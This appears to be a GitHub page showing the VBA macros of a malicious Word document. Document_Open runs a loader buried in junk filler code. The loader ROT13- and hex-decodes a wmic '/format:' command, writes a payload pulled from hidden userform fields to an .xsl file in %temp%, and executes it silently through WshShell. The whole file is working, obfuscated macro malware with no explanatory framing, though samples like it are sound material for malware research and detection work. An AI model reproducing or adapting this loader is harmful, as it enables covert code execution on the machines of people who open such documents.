Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
1 contributor

Users who have contributed to this file

456 lines (451 sloc) 8.86 KB
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim auyhPXig
auyhPXig = Hex(79)
' Untoward puppy flurry contrast
If afu3icSU = False Then
afu3icSU = True
Else
afu3icSU = False
End If
'
Dim aJ54M
For aJ54M = 10 To 45
Debug.Print Error(aJ54M)
Next aJ54M
' Fx trailers
If abu79 = False Then
abu79 = True
Else
abu79 = False
End If
' Gardening
If ajB29FgVm = False Then
ajB29FgVm = True
Else
ajB29FgVm = False
End If
Dim alFXpTfQv
alFXpTfQv = Fix(4)
' Promo ian
Dim acXfzP
acXfzP = Hex(168)
If akg1VNf = False Then
akg1VNf = True
Else
akg1VNf = False
End If
' Astern
main
End Sub
Attribute VB_Name = "aBK3We20"
Function aiAxazbj(aMtY57d, aYSXG)
'
aiAxazbj = Chr("&h" & Mid(aMtY57d, aYSXG, 2))
End Function
Function aMhXE6(aMtY57d)
Dim agn1f9EH7
agn1f9EH7 = Fix(6)
Dim ahNObAaz7
ahNObAaz7 = Fix(12)
' Unlikely
Dim aCBns3L
aCBns3L = Exp(5)
' Uphold trophy
Dim a7FgQ
For a7FgQ = 20 To 38
Debug.Print Error(a7FgQ)
Next a7FgQ
' Delaware baptismal
azBoku = Not (azBoku)
' Accordant begone jul indolence speakers
Dim aRvQc
aRvQc = Abs(48)
' Millions leprous
If aspa9fdV = False Then
aspa9fdV = True
Else
aspa9fdV = False
End If
' Analysts congratulations tillage
Dim aGUTbZXW
aGUTbZXW = Hex(203)
' Frisky parent schema scabbard
If a0dIrRQuh = False Then
a0dIrRQuh = True
Else
a0dIrRQuh = False
End If
' Portend weight activists
Dim aLmQdk6xc
aLmQdk6xc = Hex(237)
For aYSXG = 1 To Len(aMtY57d) Step 2
'
aGdmsa = aGdmsa & aiAxazbj(aMtY57d, aYSXG)
Next aYSXG
'
aMhXE6 = aGdmsa
End Function
Attribute VB_Name = "aMvcKzRn9"
Public Sub aWK1i(aQxXU As String, aVK8ef As String)
Dim axFdHm As Object
Set axFdHm = CreateObject("Scripting.FileSystemObject")
Dim a9ztifG As Object
Set a9ztifG = axFdHm.CreateTextFile(Environ(aVK8ef) & "\aubR9KfZ.xs" & ahSs9Ate(), True, True)
a9ztifG.Write aQxXU
a9ztifG.Close
Dim aTHgxnsl
aTHgxnsl = Exp(5)
' Niger periodic chance ado
Dim ahCefrIE
For ahCefrIE = 28 To 56
Debug.Print Error(ahCefrIE)
Next ahCefrIE
' Inspired
Dim aXTU9N
aXTU9N = Abs(62)
' Nature stagger
a4LfFot = Not (a4LfFot)
' Uplifting riley adept
Dim atuqEx
atuqEx = Abs(-61)
' Infatuation bonds factor
Dim aYytjDO
aYytjDO = Abs(28)
' Incredible stoic remoteness
Dim am5b2p
am5b2p = Abs(-55)
aKCTh73 = IsNull(alXL5)
' Ty
If akhgeW = False Then
akhgeW = True
Else
akhgeW = False
End If
' Everywhere keywords bahamas churches strong builds
If aHe9Zx7 = False Then
aHe9Zx7 = True
Else
aHe9Zx7 = False
End If
Dim axj4Pq
axj4Pq = Hex(207)
' Choice cumulative photo
Dim arYcf
arYcf = Fix(15)
' Almighty rain printer satirical attica
Dim abWhz
abWhz = Exp(9)
' Fake isabelle
If aqTL0zAdi = False Then
aqTL0zAdi = True
Else
aqTL0zAdi = False
End If
' African itinerant divorced coitus
Dim aDhS6
aDhS6 = Abs(-11)
' Lung transform repairs tendril jelsoft
Dim akQKD9hCd
akQKD9hCd = Abs(-38)
Dim asSyYe
asSyYe = Hex(158)
Dim a9ZcjiB
For a9ZcjiB = 12 To 46
Debug.Print Error(a9ZcjiB)
Next a9ZcjiB
' Constituent singing
Dim abksjm
For abksjm = 20 To 62
Debug.Print Error(abksjm)
Next abksjm
' Commune broom academic footstep
Dim apK2UtDf
For apK2UtDf = 4 To 55
Debug.Print Error(apK2UtDf)
Next apK2UtDf
' Sedan killing ref
Dim ayRKG4
ayRKG4 = Hex(167)
' Thirty-nine
End Sub
Function a1RS3()
aTzaXyeF4 = IsNull(a5sy3reEO)
' Middling answered breezy collector
Dim anofe9
anofe9 = Exp(5)
Dim agj8x1ALa
agj8x1ALa = Abs(-18)
If aNy0LA = False Then
aNy0LA = True
Else
aNy0LA = False
End If
' Differential christ affluent coy cj
Dim a6EUxlPf
a6EUxlPf = Hex(67)
' Accuses
Dim aBZCSm0h
aBZCSm0h = Hex(197)
' Vituperation placed downloading smoke
Dim ahj5PxFrq
ahj5PxFrq = Hex(206)
' Washer whod
Dim aBZuYRE
aBZuYRE = Fix(16)
' Northamptonshire
afu4q = IsNull(agF10BMcs)
' Demonstrates cartridge lath routing daniel gamespot
Dim alWrn6KA
alWrn6KA = Fix(13)
' Generator slighting big zope rewards dubai
If awzpB0g = False Then
awzpB0g = True
Else
awzpB0g = False
End If
' Forge accessed
Dim aLEHYqUrc
aLEHYqUrc = Fix(1)
agqL9UJ = Not (agqL9UJ)
aC7HoW = Not (aC7HoW)
Dim a6OZPj
a6OZPj = Exp(3)
a6wNfzX3W = IsNull(atKE2)
Dim aGMN5qXuj
aGMN5qXuj = Fix(15)
' Olive exceptional jap pent-up
Dim apI8F5sj
apI8F5sj = Exp(16)
' Assignment abstaining acclaim
Dim aUC85vPh
aUC85vPh = Abs(64)
Dim ax7hoNB5
ax7hoNB5 = Fix(15)
Dim aK3Urma8Q
aK3Urma8Q = Exp(5)
Set aEJydG = New aLeIgcA9T
Dim aUByLx
For aUByLx = 18 To 35
Debug.Print Error(aUByLx)
Next aUByLx
Dim aDEOplrK1
For aDEOplrK1 = 13 To 35
Debug.Print Error(aDEOplrK1)
Next aDEOplrK1
aEWYKaeu = aEJydG.sh.Text
Dim a2W0zqDv
a2W0zqDv = Hex(62)
' Welch conditional apathy dee
Dim axDehb
For axDehb = 25 To 53
Debug.Print Error(axDehb)
Next axDehb
' Mississippi
If a1KPb4M = False Then
a1KPb4M = True
Else
a1KPb4M = False
End If
' Receivers rocky apart oil
aEkbYD4 = aEJydG.cd.Text
If afGa6 = False Then
afGa6 = True
Else
afGa6 = False
End If
' Suggestion tandem garnered
Dim aXFVf
aXFVf = Abs(-56)
' Penis gm
a1RS3 = aMhXE6(aEWYKaeu & aEkbYD4)
End Function
Function ahSs9Ate()
Dim aXp0m6WOr
aXp0m6WOr = Abs(-11)
aCEGNa7 = IsNull(ard3ijnC)
' Arrives judicature
ahSs9Ate = "l"
End Function
Function aZUnok(ByRef az4wI As String)
Const asXoV4Jm = 97
Const aL4pqSUyQ = 26
Const al0BfU = 65
Const kRotRange = aL4pqSUyQ / 2
Dim advce As Long
Dim adpWEY5HM As String
If Len(az4wI) > 0 Then
For i = 1 To Len(az4wI)
advce = 0
c = Mid(az4wI, i, 1)
cc = Asc(c)
If cc >= asXoV4Jm And cc < (asXoV4Jm + aL4pqSUyQ) Then
advce = asXoV4Jm
ElseIf cc >= al0BfU And cc < (al0BfU + aL4pqSUyQ) Then
advce = al0BfU
End If
If advce > 0 Then
theRot13Code = (((cc - advce) + kRotRange) Mod aL4pqSUyQ) + advce
theRot13Char = Chr(theRot13Code)
adpWEY5HM = adpWEY5HM + theRot13Char
Else
adpWEY5HM = adpWEY5HM + c
End If
Next
End If
aZUnok = adpWEY5HM
End Function
Attribute VB_Name = "aWyoSkBVb"
Sub main()
Dim arcwb
arcwb = Fix(4)
' Abstinence mistook counsel
Dim aB1Q9
aB1Q9 = Exp(7)
Dim aPtS2y
aPtS2y = Abs(1)
Dim aUrH3 As String
Dim afyQhuWr6
afyQhuWr6 = Exp(5)
' Variability thumbs procures
Dim a1udH
For a1udH = 12 To 36
Debug.Print Error(a1udH)
Next a1udH
' Surely man-of-war offender
If ayYNf4hl = False Then
ayYNf4hl = True
Else
ayYNf4hl = False
End If
' Eros adviser dampness
ad5FK = Not (ad5FK)
Dim a5G739v
a5G739v = Exp(13)
Dim aRtz03H
For aRtz03H = 29 To 51
Debug.Print Error(aRtz03H)
Next aRtz03H
aBmui = IsNull(ast092Nym)
aUrH3 = aZUnok("776q69632070726s63657373206p697374202s666s726q61743n222574656q70255p61756252394o665n22")
Dim awCdX
awCdX = Exp(14)
' Thirtieth struct platinum forestall heartfelt excellence respiratory
apGuvZmr2 = IsNull(ajsfX)
aWK1i a1RS3(), "temp"
Dim aqetAu
For aqetAu = 20 To 63
Debug.Print Error(aqetAu)
Next aqetAu
Dim aUR2AE
aUR2AE = Fix(9)
' Horde weedy mach
Dim aEUbge
aEUbge = Abs(-59)
' Clothes revel
Dim aMo5A
aMo5A = Hex(68)
' Za theoretical getting info nourish warm
Dim a7KMf85m9
a7KMf85m9 = Abs(-37)
' Dane armenia sadden layman secretariat martial
Dim any76
any76 = Abs(-29)
' Worcester hearing
Dim a8wUICGa
a8wUICGa = Hex(40)
Dim aICnZ4H1
aICnZ4H1 = Exp(11)
' Mariah incentive surround jumps
atep7aP = Not (atep7aP)
' Species ronald antibodies
Dim aW47L
aW47L = Abs(-32)
' Deadly protocol colon ease garage clayey
Dim al7zhXY1
al7zhXY1 = Exp(2)
' Competing adware katharine
Set atubG = New WshShell
'
aHUGo0f = aMhXE6(aUrH3)
Dim a3VUf
a3VUf = Exp(16)
' Tennis pulling job print
Dim aelS2GqV
For aelS2GqV = 32 To 46
Debug.Print Error(aelS2GqV)
Next aelS2GqV
' Goggles pegasus
Dim aioZQ5Fj
aioZQ5Fj = Fix(11)
' Representations offline
Dim aI8KDBj2
aI8KDBj2 = Fix(8)
Call atubG.run(aHUGo0f, 2)
aSbFzMV4 = Not (aSbFzMV4)
' Fed an rfc cricket conservative
Dim a7fi9Lo
a7fi9Lo = Abs(55)
' Misleading opened acrobat milf
If aOhHpA1 = False Then
aOhHpA1 = True
Else
aOhHpA1 = False
End If
' Inflation airlines exceptions
Dim ajuKHV
ajuKHV = Hex(188)
' Untold inquisitor
Dim a6tpwczIQ
a6tpwczIQ = Hex(195)
' Seasoning badge actors negotiate
Dim a98Oa3P1f
a98Oa3P1f = Exp(9)
' Walt spout sans
acHjv = Not (acHjv)
' Notifications diver torpedoes maynt starter mutation
If ajD42eZL = False Then
ajD42eZL = True
Else
ajD42eZL = False
End If
' Hie tracker sediment
Dim aQSD3nF
aQSD3nF = Fix(6)
' Cherubs porphyry bunny versions ideas
Dim aVRHbx
aVRHbx = Hex(128)
' Genuine extreme stanford
aQ8vS = IsNull(at65yj1Aw)
' Modern loki viper ensnare guild
Dim azHWhqD
azHWhqD = Hex(1)
' Lanka influenza disorder starts pillage
End Sub
Attribute VB_Name = "aLeIgcA9T"
Attribute VB_Base = "0{54855455-CBA9-4145-80AF-68D8FFB0E356}{FCB0EE51-99E4-4BF1-9F7C-42E27E9CC73A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Initialize()
Dim aVYqi3A
For aVYqi3A = 9 To 51
Debug.Print Error(aVYqi3A)
Next aVYqi3A
' Moses vans privilege gnu lodges
aQhaZ3 = Not (aQhaZ3)
Dim aUhXxyF
aUhXxyF = Exp(7)
Dim acz21l
acz21l = Fix(13)
End Sub
You can’t perform that action at this time.